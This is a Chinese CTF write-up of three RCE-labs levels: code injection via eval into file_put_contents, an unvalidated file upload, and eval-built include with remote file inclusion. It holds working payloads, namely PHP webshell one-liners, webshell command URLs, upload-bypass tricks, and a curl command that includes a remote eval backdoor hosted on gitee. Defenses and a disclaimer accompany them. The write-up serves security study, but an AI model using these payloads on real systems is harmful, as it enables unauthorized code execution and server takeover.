【RCELABS】Level19~21 —— RCE 利用路径 【RCELABS】Level1921 —— RCE 利用路径前言RCELABS - 19 - 文件写入导致的RCERCELABS - 20 - 文件上传导致的RCERCELABS - 21 - 文件包含导致的RCE总结免责声明前言本次练习靶场RCE-labs 出自探姬ProbiusOfficial的 HelloCTF 开源项目。当命令执行函数本身被严格限制或输入点无法直接触达system()/exec()等敏感函数时攻击者往往转向文件系统寻找跳板——写入恶意文件、上传脚本、包含可控文件通过间接路径最终达成代码执行。这类利用链不再局限于单一函数的绕过而是考验文件操作、上传校验、包含机制等多个漏洞面的串联能力。本部分Level 1921聚焦三条经典的 RCE 间接利用路径。三道题目分别从不同入口切入文件写入场景下的 Shell 生成与触发、文件上传漏洞的利用与绕过、文件包含漏洞的协议利用与远程代码执行构造整体从直接命令执行过渡到文件链路组合利用标志着 RCE 攻击面的进一步拓宽。与前面的命令执行函数、环境变量注入相比这部分题目更加注重多漏洞点的组合与利用链的构建。解题过程中不仅需要分析文件写入的可控性、上传校验的绕过点、包含函数的参数范围还需要结合 PHP 文件处理机制、伪协议利用、路径穿越等知识将分散的漏洞点串联成完整的 RCE 链路。整篇笔记统一采用源码分析 → 漏洞原理 → Payload 构造的结构方便后续复盘与查阅。开源仓库https://github.com/ProbiusOfficial/RCE-labsRCELABS - 19 - 文件写入导致的RCE题目描述考点文件写入型间接 RCE描述通过eval()动态构造file_put_contents()调用写入可执行 PHP 文件获取 WebShell。?php/* # -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-08-11 14:34 # Repo: github.com/ProbiusOfficial/RCE-labs # email: adminhello-ctf.com # link: hello-ctf.com --- HelloCTF - RCE靶场 : 文件写入导致的RCE --- https://www.php.net/manual/zh/function.file-put-contents.php 参考可以写入的内容 ?php eval($_POST[a]); ? */functionhelloctf($code){$codefile_put_contents(.$code.);;eval($code);}isset($_GET[c])?helloctf($_GET[c]):;highlight_file(__FILE__);?源码分析functionhelloctf($code){$codefile_put_contents(.$code.);;eval($code);}函数接收外部可控变量$code变量来源为 GET 参数c完全由攻击者自由控制。程序直接进行字符串拼接固定字符串file_put_contents( 用户输入$code);拼接得到一条完整PHP语句字符串。最关键风险拼接完成的字符串传入eval()。eval()的作用是将字符串当作PHP代码解析执行。file_put_contents()原生语法file_put_contents(文件名, 文件内容)函数接收两个参数使用逗号分隔。正常调用示例file_put_contents(shell.php,?php eval($_POST[a]);?);正常业务场景下开发者预期传入的$code仅仅是文件名字符串。但代码没有任何过滤、转义、边界限制攻击者可以自主构造括号内部所有内容。举个直观对比开发者设想输入test.txt拼接结果file_put_contents(test.txt);攻击者可控恶意输入shell.php,?php system($_GET[cmd]);?拼接结果file_put_contents(shell.php,?php system($_GET[cmd]);?);eval 直接执行这条语句实现写入文件。核心结论漏洞根源不是file_put_contents本身存在漏洞该函数只是普通文件操作函数。真正高危点在于不受信任的外部输入直接参与字符串拼接并交由eval执行。攻击者可以自主控制函数参数数量、参数内容甚至闭合当前函数追加全新PHP指令。漏洞原理外部可控输入未经任何过滤直接参与代码拼接最终传入eval()执行原生形成PHP代码执行漏洞。攻击者可构造合法函数参数调用file_put_contents()在Web可访问目录写入WebShell后续访问该文件由PHP解释器解析脚本实现远程命令执行属于代码执行漏洞衍生的间接RCE利用链。Payload语法层面直接传入原始字符串shell.php,?php system($_GET[0]);?完全可用不会和eval()发生语法冲突。但GET传输场景中、、空格这类符号极易触发WAF、Web中间件的特征拦截因此引入base64_decode()进行编码规避。方式核心优势存在弊端明文传输WebShell源码构造简单适合本地靶场调试特殊字符多极易被安全策略拦截Base64封装字符串载荷仅由字母数字构成规避关键字过滤需要额外调用解码函数Payload更长既然eval()拥有执行任意PHP代码的权限利用路径并不局限于落地WebShell。我们可以提前闭合file_put_contents()函数追加新指令实现无文件攻击。Payload示例/dev/null);system(cat /flag);//拼接结果file_put_contents(/dev/null);system(cat /flag);//);末尾多余的);被注释符//失效整体语法合法无需生成磁盘文件即可执行系统命令。利用方案原理简述适用场景写入WebShell持久利用将恶意PHP代码保存为文件反复访问调用需要多次执行命令允许落地文件函数闭合无文件执行直接追加系统调用不产生任何磁盘文件追求无痕利用环境禁止文件写入Payload 构造目标是写入一个通过 GET 参数接收命令的一句话木马核心代码为?phpsystem($_GET[0]);?对其进行 base64 编码得到PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4。构造 Payload 时需要注意c参数会被直接拼接到file_put_contents()的括号内因此传入的字符串必须符合 PHP 函数调用的参数格式——两个参数之间用逗号分隔字符串类型参数需要用引号包裹。最终 Payload 如下/?cshell.php,base64_decode(PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4)服务端拼接后实际执行的代码等价于file_put_contents(shell.php,base64_decode(PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4));即在当前 Web 目录下生成shell.php文件内容为解码后的一句话木马。完整利用流程发送写入请求在服务器生成shell.php木马文件。访问木马文件传入0id测试命令执行是否成功/shell.php?0id枚举根目录定位 flag 文件位置/shell.php?0ls -la /读取 flag 文件内容/shell.php?0cat /flag得到 flagNSSCTF{ba152e6e-c929-40fe-9f0d-12656771bd69}拓展思考不写 WebShell 的利用方式写入 WebShell 只是利用路径之一。既然eval()完全可控理论上可以直接通过eval()执行任意 PHP 代码不需要落地文件。例如闭合file_put_contents()调用后追加system()函数/?c /dev/null);system(cat /flag);//这种方式不留文件痕迹属于无文件利用思路但缺点是每次执行命令都需要重新构造请求操作不如 WebShell 灵活。防御方案防御核心彻底切断eval()动态代码执行链路。代码层高危规范绝不把外部输入拼接后传入eval()危险源码functionhelloctf($code){$codefile_put_contents(.$code.);;eval($code);}安全实现functionsafe_write($filename,$content){$safe_dir__DIR__./upload/;$pathrealpath($safe_dir.$filename);// 路径校验防穿越if(strpos($path,realpath($safe_dir))!0)exit(非法路径);// 拦截脚本后缀$extstrtolower(pathinfo($filename,PATHINFO_EXTENSION));if(in_array($ext,[php,phtml,php5]))exit(禁止脚本);file_put_contents($path,$content);}架构层遵循最小权限可写目录与可执行目录分离Nginx/Apache 配置上传目录禁止解析PHPlocation ~ ^/upload/.*\.php$ { deny all; }附加防护文件内容检测拦截?php等恶意特征不依赖单一防护多层防御形成屏障关键逻辑就算攻击者成功写入恶意文件也无法被Web服务器解析执行。RCELABS - 20 - 文件上传导致的RCE题目描述考点文件上传型间接 RCE描述上传 PHP 脚本至 Web 可访问目录访问文件触发代码执行靶场提示默认上传目录uploads/源码分析?phpif($_SERVER[REQUEST_METHOD]POST){$target_diruploads/;$target_file$target_dir.basename($_FILES[fileToUpload][name]);if(move_uploaded_file($_FILES[fileToUpload][tmp_name],$target_file)){echo文件 .htmlspecialchars(basename($_FILES[fileToUpload][name])). 已成功上传.;}elseif(!isset($_FILES[fileToUpload])){echo请先选择要上传的文件.;}else{echo抱歉文件上传失败.;}}?核心问题后端只做了文件迁移没有任何校验。文件名由客户端完全控制basename()直接取原始名称不校验后缀、不校验 MIME、不检测文件内容uploads/在 Web 根目录内外部可直接访问⚠ 注意htmlspecialchars()只转义页面展示的文件名磁盘上存储的文件名不受影响仅防 XSS不防上传漏洞。漏洞原理上传漏洞造成 RCE必须同时满足三个条件可控上传入口恶意后缀能被 Web 容器解析上传目录支持 HTTP 访问本题属于零防护基础原型上传 PHP 脚本 → 访问文件 → 执行代码。后续所有上传绕过题都是在这个原型上逐层加防护产生的变种防护类型对应绕过思路后缀黑名单.phtml/.php5/.phar等可解析后缀后缀白名单Nginx 文件名逻辑漏洞 / Apache 多后缀解析MIME 类型校验修改请求头Content-Type: image/jpeg文件头检测头部添加GIF89a伪装图片上传后删除竞争条件攻击在删除前窗口访问执行Payload 构造新建文件shell.php写入 GET 传参命令执行木马?phpsystem($_GET[cmd]);?通过页面上传功能提交文件最终文件保存路径uploads/shell.php。完整利用流程选择shell.php提交上传页面返回上传成功提示。访问木马传入参数测试命令执行/uploads/shell.php?cmdid遍历根目录寻找 flag 文件/uploads/shell.php?cmdls -la /读取 flag/uploads/shell.php?cmdcat /flag获取 flagNSSCTF{521cd1c5-9872-4ce4-a386-18db5adbeffe}拓展思考上传绕过的进阶方向本题是零防护的基础原型实战中遇到的上传漏洞通常带有不同程度的防护。常见的绕过思路包括后缀绕过服务端使用黑名单过滤时尝试.phtml、.php5、.php3、.phar等可解析后缀白名单机制下则需要结合解析漏洞如 Nginx 文件名逻辑漏洞、Apache 多后缀解析。MIME 绕过服务端校验Content-Type字段时将请求头改为image/jpeg等合法类型即可绕过。内容检测绕过服务端检查文件头时在 PHP 代码前添加GIF89a文件头伪装成图片。竞争条件文件先上传后删除时在删除前的时间窗口内访问执行。每增加一层防护就对应一种绕过思路这也是文件上传漏洞体系庞大的原因。防御方案采用后缀白名单机制仅允许业务所需格式jpg、png 等杜绝.php、.phtml等脚本后缀禁止使用黑名单Nginx/Apache 配置上传目录禁止解析 PHP即使恶意脚本上传成功也无法执行上传文件强制随机重命名消除文件名可控性攻击者无法预测访问路径增加文件头校验、内容特征检测拦截携带 PHP 标签的恶意文件架构优化上传目录移出 Web 根目录或者使用独立对象存储保存上传资源。备注htmlspecialchars()仅用于页面输出内容转义仅防御XSS完全无法阻止文件上传漏洞不能作为上传防护手段。RCELABS - 21 - 文件包含导致的RCE题目描述考点eval拼接构造include调用、远程文件包含(RFI)、间接RCE描述用户可控输入拼接至include()语句并交由eval()执行环境开启allow_url_include可实现远程文件包含攻击?php/* # -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-08-11 14:34 # Repo: github.com/ProbiusOfficial/RCE-labs # email: adminhello-ctf.com # link: hello-ctf.com --- HelloCTF - RCE靶场 : 文件包含导致的RCE --- allow_url_fopen On allow_url_include On 默认全开的环境可以尝试多种解法若对此存有疑问尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。 远程文件包含可用链接(?php eval($_POST[a]); ?) https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI FilterChain的Payload生成器 https://probiusofficial.github.io/PHP-FilterChain-Exploit/ /exp.php 注意在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 include($_GET[file]) 的区别。 */functionhelloctf($code){$codeinclude(.$code.);;echoYour includeCode : .$code;eval($code);}isset($_POST[c])?helloctf($_POST[c]):;highlight_file(__FILE__);?源码分析核心逻辑位于helloctf()函数接收POST参数c拼接生成include()语句最终交由eval()执行。functionhelloctf($code){$codeinclude(.$code.);;eval($code);}区分两种极易混淆的文件包含模式普通文件包含include($param)变量只能传入文件路径本题场景eval(include(.$code.);)输入参与PHP语法构造攻击者可以自由控制include()括号内全部内容能够自定义引号、新增函数。所以传入路径时必须手动添加引号保证语法合法。环境配置allow_url_fopenOn、allow_url_includeOn支持远程HTTP/HTTPS包含。官方远程地址内置一句话木马?php eval($_POST[a]); ?漏洞原理整条攻击链分为两层可控外部输入拼接后送入eval()产生PHP代码执行风险构造合法include语句触发文件包含RFI只是可选利用方式利用流程传入带引号的远程地址 → 拼接得到代码include(远程地址);服务器向外请求远程文件并将文件内容作为PHP解析远端木马eval($_POST[a])运行接收参数执行任意命令Payload 构造POST请求参数chttps://gitee.com/Probius/PHPinclude-labs/raw/main/RFIasystem(cat /flag);服务端拼接完成后实际执行代码include(https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI);远程脚本加载成功后eval($_POST[a])执行传入的系统命令。curl利用命令curl-XPOST\--data-urlencodechttps://gitee.com/ProbiusOfficial/PHPinclude-labs/raw/main/RFI\--data-urlencodeasystem(cat /flag);\http://靶场地址完整利用流程构造POST请求同时传入参数c带单引号包裹远程文件地址与a待执行代码。后端拼接代码并通过eval执行include向外请求远程木马文件。远程文件内的一句话木马被解析运行读取参数a执行系统命令。页面输出拼接日志与命令执行结果。HackBar发送POST请求效果参考获取flagNSSCTF{34ef6fe6-7e57-4325-aa87-a14543a81bb7}踩坑提醒使用HackBar、各类在线发包工具时关闭自动URL编码。单引号被编码为%27会破坏PHP语法直接导致利用失败。curl中--data-urlencode可以安全处理参数是推荐方案。RFI利用依赖服务器外网出站权限。若靶机禁止访问公网远程包含方案失效此时需要使用题目给出的PHP FilterChain协议链进行本地包含利用无需外部网络。拓展思考无外网FilterChain本地利用思路当服务器无法访问外网不能加载远程木马时可以使用php://filter字符串变换链不需要落地文件直接读取并执行本地PHP代码。配合题目场景构造合法参数传入c仅依靠内置伪协议完成代码执行作为RFI失效时的备用方案。Payload可通过官方FilterChain生成器快速构造适合限制严格的隔离环境靶场。防御方案最高优先级禁止eval()执行拼接了用户输入的动态PHP代码从根源杜绝语法可控漏洞修改PHP配置allow_url_includeOff关闭远程文件包含能力动态文件包含禁止直接拼接原始用户输入采用固定目录文件名白名单校验尽量减少业务代码中动态包含场景优先使用静态文件加载若无法移除动态包含逻辑严格拦截http://、https://等远程协议前缀。关键区分eval(include(.$code.))≠include($code)。前者允许攻击者自定义完整函数参数语法攻击自由度极高后者仅能传入路径字符串二者防护策略、绕过思路完全不同。总结Level 19、20、21共同演示了间接RCE利用链路三类场景均无法直接调用系统命令需要借助文件相关机制实现代码执行但漏洞根源、利用前提与约束条件存在明显区别Level 19 eval file_put_contents可控动态代码执行漏洞根源eval()执行由用户输入拼接而成的PHP代码攻击者拥有完整语法控制权。利用链路构造参数调用file_put_contents()落地PHP WebShell访问文件触发执行。特点主动权最高不仅限于写入文件可闭合函数直接执行命令实现无文件攻击限制仅来自服务器文件读写权限、目录可访问性。防御重心彻底禁止使用eval解析可控外部输入。Level 20 无防护文件上传漏洞根源上传接口缺少任何校验原始文件名完全可控。利用链路上传PHP脚本至Web可访问目录通过HTTP请求访问脚本执行代码。特点攻击依赖三大条件可控文件名、目录可Web访问、服务端支持解析PHP后缀也是所有文件上传绕过题型的基础原型。防御重心白名单校验后缀、文件随机重命名、上传目录禁用PHP解析。Level 21 eval include 构造文件包含漏洞根源用户输入直接参与拼接include语句并送入eval执行可自由控制函数内部语法。利用链路条件允许时使用RFI远程加载木马服务器无外网权限时切换为php://filter FilterChain本地利用。特点融合代码执行与文件包含双重特性攻击路径二选一需要区分eval(include(xxx))与普通include($param)二者攻击边界差距极大。防御重心杜绝eval拼接外部输入关闭allow_url_include文件包含采用白名单机制。横向对比可以看出落地WebShell是三类场景通用且便捷的利用方式但各场景存在独有的备选方案。同时所有间接RCE想要达成持久控制都需要满足一个核心前提生成的PHP文件能够被Web服务器解析访问。一旦阻断“文件解析执行”这一环即便攻击者成功写入、上传、包含文件也无法完成RCE。免责声明本文涉及的漏洞原理、代码分析、Payload构造与复现步骤仅用于本地自建靶场的网络安全学习、技术研究与CTF竞赛备赛。未经目标系统所有者书面授权严禁将文中任何技术手段运用于公网、企业内网或第三方线上业务系统。非法渗透、未授权测试等行为涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》相关条款由此产生的一切法律责任与后果由行为人自行承担。阅读者应当树立合法合规的安全研究意识坚守网络安全底线。